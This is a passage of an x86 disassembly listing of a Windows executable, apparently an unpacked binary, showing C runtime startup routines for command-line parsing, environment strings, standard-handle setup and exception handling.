		cmp	eax, 0C0000092h
		jnz	short loc_413EAA
		mov	dword_4222F4, 8Ah


loc_413EAA:				; CODE XREF: sub_413D9F+99j
					; sub_413D9F+ACj ...
		push	dword_4222F4
		push	8
		call	ebx
		pop	ecx
		mov	dword_4222F4, esi
		pop	ecx
		pop	esi
		jmp	short loc_413EC7
; ---------------------------------------------------------------------------


loc_413EBF:				; CODE XREF: sub_413D9F+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_413EC7:				; CODE XREF: sub_413D9F+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_481E70, eax


loc_413ECF:				; CODE XREF: sub_413D9F+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_413EDD
; ---------------------------------------------------------------------------


loc_413ED4:				; CODE XREF: sub_413D9F+Fj
					; sub_413D9F+1Aj
		push	[ebp+arg_4]
		call	dword_418170	; UnhandledExceptionFilter


loc_413EDD:				; CODE XREF: sub_413D9F+2Cj
					; sub_413D9F+133j
		pop	ebx
		pop	ebp
		retn
sub_413D9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_413EE0	proc near		; CODE XREF: sub_413D9F+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4222F0
		cmp	dword_422270, edx
		push	esi
		mov	eax, offset dword_422270
		jz	short loc_413F0D
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:422270h[esi*4]


loc_413F02:				; CODE XREF: sub_413EE0+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_413F0D
		cmp	[eax], edx
		jnz	short loc_413F02


loc_413F0D:				; CODE XREF: sub_413EE0+16j
					; sub_413EE0+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:422270h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_413F20
		cmp	[eax], edx
		jz	short locret_413F22


loc_413F20:				; CODE XREF: sub_413EE0+3Aj
		xor	eax, eax

locret_413F22:				; CODE XREF: sub_413EE0+3Ej
		retn
sub_413EE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F23	proc near		; CODE XREF: sub_40EB84+A5p
		cmp	dword_483434, 0
		jnz	short loc_413F31
		call	sub_413A3D


loc_413F31:				; CODE XREF: sub_413F23+7j
		push	esi
		mov	esi, dword_48342C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_413F63


loc_413F3E:				; CODE XREF: sub_413F23+33j
					; sub_413F23+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_413F5B
		test	al, al
		jz	short loc_413F5B
		movzx	eax, al
		push	eax
		call	sub_415FC2
		test	eax, eax
		pop	ecx
		jz	short loc_413F3E
		inc	esi
		jmp	short loc_413F3E
; ---------------------------------------------------------------------------


loc_413F5B:				; CODE XREF: sub_413F23+21j
					; sub_413F23+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_413F6D


loc_413F60:				; CODE XREF: sub_413F23+52j
		inc	esi
		jmp	short loc_413F6D
; ---------------------------------------------------------------------------


loc_413F63:				; CODE XREF: sub_413F23+19j
		cmp	al, 20h
		jbe	short loc_413F6D


loc_413F67:				; CODE XREF: sub_413F23+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_413F67


loc_413F6D:				; CODE XREF: sub_413F23+3Bj
					; sub_413F23+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_413F77
		cmp	al, 20h
		jbe	short loc_413F60


loc_413F77:				; CODE XREF: sub_413F23+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_413F23	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F7B	proc near		; CODE XREF: sub_40EB84+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	dword_483434, ebx
		push	esi
		push	edi
		jnz	short loc_413F8D
		call	sub_413A3D


loc_413F8D:				; CODE XREF: sub_413F7B+Bj
		mov	esi, dword_481E08
		xor	edi, edi


loc_413F95:				; CODE XREF: sub_413F7B+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_413FAD
		cmp	al, 3Dh
		jz	short loc_413FA0
		inc	edi


loc_413FA0:				; CODE XREF: sub_413F7B+22j
		push	esi
		call	sub_40CBC0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_413F95
; ---------------------------------------------------------------------------


loc_413FAD:				; CODE XREF: sub_413F7B+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_40CCCF
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_481DE4, esi
		jnz	short loc_413FCF
		push	9
		call	sub_40EC7A
		pop	ecx


loc_413FCF:				; CODE XREF: sub_413F7B+4Aj
		mov	edi, dword_481E08
		cmp	[edi], bl
		jz	short loc_414012
		push	ebp


loc_413FDA:				; CODE XREF: sub_413F7B+94j
		push	edi
		call	sub_40CBC0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41400B
		push	ebp
		call	sub_40CCCF
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_413FFE
		push	9
		call	sub_40EC7A
		pop	ecx


loc_413FFE:				; CODE XREF: sub_413F7B+79j
		push	edi
		push	dword ptr [esi]
		call	sub_40E3C0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41400B:				; CODE XREF: sub_413F7B+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_413FDA
		pop	ebp


loc_414012:				; CODE XREF: sub_413F7B+5Cj
		push	dword_481E08
		call	sub_40CD81
		pop	ecx
		mov	dword_481E08, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_483430, 1
		pop	ebx
		retn
sub_413F7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414034	proc near		; CODE XREF: sub_40EB84+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_483434, ebx
		push	esi
		push	edi
		jnz	short loc_41404B
		call	sub_413A3D


loc_41404B:				; CODE XREF: sub_414034+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_41804C	; GetModuleFileNameA
		mov	eax, dword_48342C
		mov	off_481DF4, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_414070
		mov	edi, eax


loc_414070:				; CODE XREF: sub_414034+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_4140CD
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_40CCCF
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_4140A0
		push	8
		call	sub_40EC7A
		pop	ecx


loc_4140A0:				; CODE XREF: sub_414034+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_4140CD
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_481DDC, esi
		pop	edi
		pop	esi
		mov	dword_481DD8, eax
		pop	ebx
		leave
		retn
sub_414034	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4140CD	proc near		; CODE XREF: sub_414034+47p
					; sub_414034+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_4140F7
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_4140F7:				; CODE XREF: sub_4140CD+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_414140


loc_4140FC:				; CODE XREF: sub_4140CD+58j
					; sub_4140CD+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41412E
		test	dl, dl
		jz	short loc_41412E
		movzx	edx, dl
		test	byte_483301[edx], 4
		jz	short loc_414121
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_414121
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_414121:				; CODE XREF: sub_4140CD+46j
					; sub_4140CD+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4140FC
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4140FC
; ---------------------------------------------------------------------------


loc_41412E:				; CODE XREF: sub_4140CD+36j
					; sub_4140CD+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_414138
		and	byte ptr [esi],	0
		inc	esi


loc_414138:				; CODE XREF: sub_4140CD+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_414183
		inc	eax
		jmp	short loc_414183
; ---------------------------------------------------------------------------


loc_414140:				; CODE XREF: sub_4140CD+2Dj
					; sub_4140CD+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41414B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41414B:				; CODE XREF: sub_4140CD+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_483301[ebx], 4
		jz	short loc_414166
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_414165
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_414165:				; CODE XREF: sub_4140CD+91j
		inc	eax


loc_414166:				; CODE XREF: sub_4140CD+8Bj
		cmp	dl, 20h
		jz	short loc_414174
		test	dl, dl
		jz	short loc_414178
		cmp	dl, 9
		jnz	short loc_414140


loc_414174:				; CODE XREF: sub_4140CD+9Cj
		test	dl, dl
		jnz	short loc_41417B


loc_414178:				; CODE XREF: sub_4140CD+A0j
		dec	eax
		jmp	short loc_414183
; ---------------------------------------------------------------------------


loc_41417B:				; CODE XREF: sub_4140CD+A9j
		test	esi, esi
		jz	short loc_414183
		and	byte ptr [esi-1], 0


loc_414183:				; CODE XREF: sub_4140CD+6Ej
					; sub_4140CD+71j ...
		and	[ebp+arg_10], 0


loc_414187:				; CODE XREF: sub_4140CD+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_414270


loc_414190:				; CODE XREF: sub_4140CD+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41419C
		cmp	dl, 9
		jnz	short loc_41419F


loc_41419C:				; CODE XREF: sub_4140CD+C8j
		inc	eax
		jmp	short loc_414190
; ---------------------------------------------------------------------------


loc_41419F:				; CODE XREF: sub_4140CD+CDj
		cmp	byte ptr [eax],	0
		jz	loc_414270
		test	edi, edi
		jz	short loc_4141B4
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_4141B4:				; CODE XREF: sub_4140CD+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_4141B9:				; CODE XREF: sub_4140CD+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_4141C2:				; CODE XREF: sub_4140CD+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_4141CB
		inc	eax
		inc	ebx
		jmp	short loc_4141C2
; ---------------------------------------------------------------------------


loc_4141CB:				; CODE XREF: sub_4140CD+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4141FC
		test	bl, 1
		jnz	short loc_4141FA
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_4141E9
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_4141E9
		mov	eax, edx
		jmp	short loc_4141EC
; ---------------------------------------------------------------------------


loc_4141E9:				; CODE XREF: sub_4140CD+10Dj
					; sub_4140CD+116j
		mov	[ebp+arg_0], edi


loc_4141EC:				; CODE XREF: sub_4140CD+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_4141FA:				; CODE XREF: sub_4140CD+106j
		shr	ebx, 1


loc_4141FC:				; CODE XREF: sub_4140CD+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_414211
		inc	ebx


loc_414204:				; CODE XREF: sub_4140CD+142j
		test	esi, esi
		jz	short loc_41420C
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41420C:				; CODE XREF: sub_4140CD+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_414204


loc_414211:				; CODE XREF: sub_4140CD+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_414261
		cmp	[ebp+arg_10], 0
		jnz	short loc_414227
		cmp	dl, 20h
		jz	short loc_414261
		cmp	dl, 9
		jz	short loc_414261


loc_414227:				; CODE XREF: sub_4140CD+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41425B
		test	esi, esi
		jz	short loc_41424A
		movzx	ebx, dl
		test	byte_483301[ebx], 4
		jz	short loc_414243
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_414243:				; CODE XREF: sub_4140CD+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_414259
; ---------------------------------------------------------------------------


loc_41424A:				; CODE XREF: sub_4140CD+162j
		movzx	edx, dl
		test	byte_483301[edx], 4
		jz	short loc_414259
		inc	eax
		inc	dword ptr [ecx]


loc_414259:				; CODE XREF: sub_4140CD+17Bj
					; sub_4140CD+187j
		inc	dword ptr [ecx]


loc_41425B:				; CODE XREF: sub_4140CD+15Ej
		inc	eax
		jmp	loc_4141B9
; ---------------------------------------------------------------------------


loc_414261:				; CODE XREF: sub_4140CD+148j
					; sub_4140CD+153j ...
		test	esi, esi
		jz	short loc_414269
		and	byte ptr [esi],	0
		inc	esi


loc_414269:				; CODE XREF: sub_4140CD+196j
		inc	dword ptr [ecx]
		jmp	loc_414187
; ---------------------------------------------------------------------------


loc_414270:				; CODE XREF: sub_4140CD+BDj
					; sub_4140CD+D5j
		test	edi, edi
		jz	short loc_414277
		and	dword ptr [edi], 0


loc_414277:				; CODE XREF: sub_4140CD+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_4140CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_414281	proc near		; CODE XREF: sub_40EB84+7Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_481F78
		push	ebx
		push	ebp
		mov	ebp, dword_41803C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_4142CF
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4142B0
		mov	dword_481F78, 1
		jmp	short loc_4142D8
; ---------------------------------------------------------------------------


loc_4142B0:				; CODE XREF: sub_414281+21j
		call	dword_41817C	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4143AA
		mov	dword_481F78, 2
		jmp	loc_41435E
; ---------------------------------------------------------------------------


loc_4142CF:				; CODE XREF: sub_414281+19j
		cmp	eax, 1
		jnz	loc_414359


loc_4142D8:				; CODE XREF: sub_414281+2Dj
		cmp	esi, ebx
		jnz	short loc_4142E8
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4143AA


loc_4142E8:				; CODE XREF: sub_414281+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_4142FD


loc_4142EF:				; CODE XREF: sub_414281+73j
					; sub_414281+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_4142EF
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_4142EF


loc_4142FD:				; CODE XREF: sub_414281+6Cj
		sub	eax, esi
		mov	edi, dword_4180C8
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41434E
		push	ebp
		call	sub_40CCCF
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41434E
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41434A
		push	[esp+18h+var_8]
		call	sub_40CD81
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41434A:				; CODE XREF: sub_414281+B9j
		mov	ebx, [esp+18h+var_8]


loc_41434E:				; CODE XREF: sub_414281+99j
					; sub_414281+A8j
		push	esi
		call	dword_418178	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_4143AC
; ---------------------------------------------------------------------------


loc_414359:				; CODE XREF: sub_414281+51j
		cmp	eax, 2
		jnz	short loc_4143AA


loc_41435E:				; CODE XREF: sub_414281+49j
		cmp	edi, ebx
		jnz	short loc_41436E
		call	dword_41817C	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4143AA


loc_41436E:				; CODE XREF: sub_414281+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41437E


loc_414374:				; CODE XREF: sub_414281+F6j
					; sub_414281+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_414374
		inc	eax
		cmp	[eax], bl
		jnz	short loc_414374


loc_41437E:				; CODE XREF: sub_414281+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_40CCCF
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_414394
		xor	esi, esi
		jmp	short loc_41439F
; ---------------------------------------------------------------------------


loc_414394:				; CODE XREF: sub_414281+10Dj
		push	ebp
		push	edi
		push	esi
		call	near ptr sub_40C820
		add	esp, 0Ch


loc_41439F:				; CODE XREF: sub_414281+111j
		push	edi
		call	dword_418174	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_4143AC
; ---------------------------------------------------------------------------


loc_4143AA:				; CODE XREF: sub_414281+39j
					; sub_414281+61j ...
		xor	eax, eax


loc_4143AC:				; CODE XREF: sub_414281+D6j
					; sub_414281+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_414281	endp


; =============== S U B	R O U T	I N E =======================================



sub_4143B3	proc near		; CODE XREF: sub_40EB84+6Fp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_40CCCF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_4143D3
		push	1Bh
		call	sub_40EC7A
		pop	ecx


loc_4143D3:				; CODE XREF: sub_4143B3+16j
		mov	dword_4830E0, esi
		mov	dword_4831E0, 20h
		lea	eax, [esi+100h]


loc_4143E9:				; CODE XREF: sub_4143B3+52j
		cmp	esi, eax
		jnb	short loc_414407
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4830E0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_4143E9
; ---------------------------------------------------------------------------


loc_414407:				; CODE XREF: sub_4143B3+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_418128	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_4144E3
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_4144E3
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41443D
		mov	esi, eax


loc_41443D:				; CODE XREF: sub_4143B3+86j
		cmp	dword_4831E0, esi
		jge	short loc_414497
		mov	edi, offset dword_4830E4


loc_41444A:				; CODE XREF: sub_4143B3+DAj
		push	100h
		call	sub_40CCCF
		test	eax, eax
		pop	ecx
		jz	short loc_414491
		add	dword_4831E0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_414468:				; CODE XREF: sub_4143B3+CFj
		cmp	eax, ecx
		jnb	short loc_414484
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_414468
; ---------------------------------------------------------------------------


loc_414484:				; CODE XREF: sub_4143B3+B7j
		add	edi, 4
		cmp	dword_4831E0, esi
		jl	short loc_41444A
		jmp	short loc_414497
; ---------------------------------------------------------------------------


loc_414491:				; CODE XREF: sub_4143B3+A4j
		mov	esi, dword_4831E0


loc_414497:				; CODE XREF: sub_4143B3+90j
					; sub_4143B3+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_4144E3


loc_41449D:				; CODE XREF: sub_4143B3+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4144DA
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_4144DA
		test	cl, 8
		jnz	short loc_4144BC
		push	eax
		call	dword_418030	; GetFileType
		test	eax, eax
		jz	short loc_4144DA


loc_4144BC:				; CODE XREF: sub_4143B3+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4830E0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_4144DA:				; CODE XREF: sub_4143B3+EFj
					; sub_4143B3+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41449D


loc_4144E3:				; CODE XREF: sub_4143B3+65j
					; sub_4143B3+71j ...
		xor	ebx, ebx


loc_4144E5:				; CODE XREF: sub_4143B3+195j
		mov	eax, dword_4830E0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_414540
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_414500
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41450A
; ---------------------------------------------------------------------------


loc_414500:				; CODE XREF: sub_4143B3+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41450A:				; CODE XREF: sub_4143B3+14Bj
		push	eax
		call	dword_418034	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41452F
		push	edi
		call	dword_418030	; GetFileType
		test	eax, eax
		jz	short loc_41452F
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_414535


loc_41452F:				; CODE XREF: sub_4143B3+163j
					; sub_4143B3+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_414544
; ---------------------------------------------------------------------------


loc_414535:				; CODE XREF: sub_4143B3+17Aj
		cmp	eax, 3
		jnz	short loc_414544
		or	byte ptr [esi+4], 8
		jmp	short loc_414544
; ---------------------------------------------------------------------------


loc_414540:				; CODE XREF: sub_4143B3+13Ej
		or	byte ptr [esi+4], 80h


loc_414544:				; CODE XREF: sub_4143B3+180j
					; sub_4143B3+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_4144E5
		push	dword_4831E0
		call	dword_418038	; LockResource
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_4143B3	endp

; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414568	proc near		; DATA XREF: sub_40EB84+Ao
					; sub_412530+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_414608
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41459B:				; CODE XREF: sub_414568+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_414601
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_4145EF
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_4145EF
		js	short loc_4145FA
		mov	edi, [ebx+8]
		push	ebx
		call	sub_40D2E8
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_40D32A
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_40D3BE
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_4145EF:				; CODE XREF: sub_414568+40j
					; sub_414568+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41459B
; ---------------------------------------------------------------------------


loc_4145FA:				; CODE XREF: sub_414568+54j
		mov	eax, 0
		jmp	short loc_41461D
; ---------------------------------------------------------------------------


loc_414601:				; CODE XREF: sub_414568+36j
		mov	eax, 1
		jmp	short loc_41461D
; ---------------------------------------------------------------------------


loc_414608:				; CODE XREF: sub_414568+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_40D32A
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41461D:				; CODE XREF: sub_414568+97j
					; sub_414568+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_414568	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_40D32A
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_414640	proc near		; CODE XREF: sub_40EC7A+9p
					; sub_40EC9F+9p
		mov	eax, dword_481E10
		cmp	eax, 1
		jz	short loc_414657
		test	eax, eax
		jnz	short locret_414678
		cmp	dword_41FC74, 1
		jnz	short locret_414678


loc_414657:				; CODE XREF: sub_414640+8j
		push	0FCh
		call	sub_414679
		mov	eax, dword_481F7C
		pop	ecx
		test	eax, eax
		jz	short loc_41466D
		call	eax


loc_41466D:				; CODE XREF: sub_414640+29j
		push	0FFh
		call	sub_414679
		pop	ecx

locret_414678:				; CODE XREF: sub_414640+Cj
					; sub_414640+15j
		retn
sub_414640	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414679	proc near		; CODE XREF: sub_40EC7A+12p
					; sub_40EC9F+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_422300


loc_41468C:				; CODE XREF: sub_414679+20j
		cmp	edx, [eax]
		jz	short loc_41469B
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_422390
		jl	short loc_41468C


loc_41469B:				; CODE XREF: sub_414679+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_422300[esi]
		jnz	loc_4147C9
		mov	eax, dword_481E10
		cmp	eax, 1
		jz	loc_4147A3
		test	eax, eax
		jnz	short loc_4146CC
		cmp	dword_41FC74, 1
		jz	loc_4147A3


loc_4146CC:				; CODE XREF: sub_414679+44j
		cmp	edx, 0FCh
		jz	loc_4147C9
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_41804C	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_414703
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_40E3C0
		pop	ecx
		pop	ecx


loc_414703:				; CODE XREF: sub_414679+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_40CBC0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_414746
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40CBC0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_40C720
		add	esp, 10h


loc_414746:				; CODE XREF: sub_414679+A2j
		lea	eax, [ebp+var_A0]
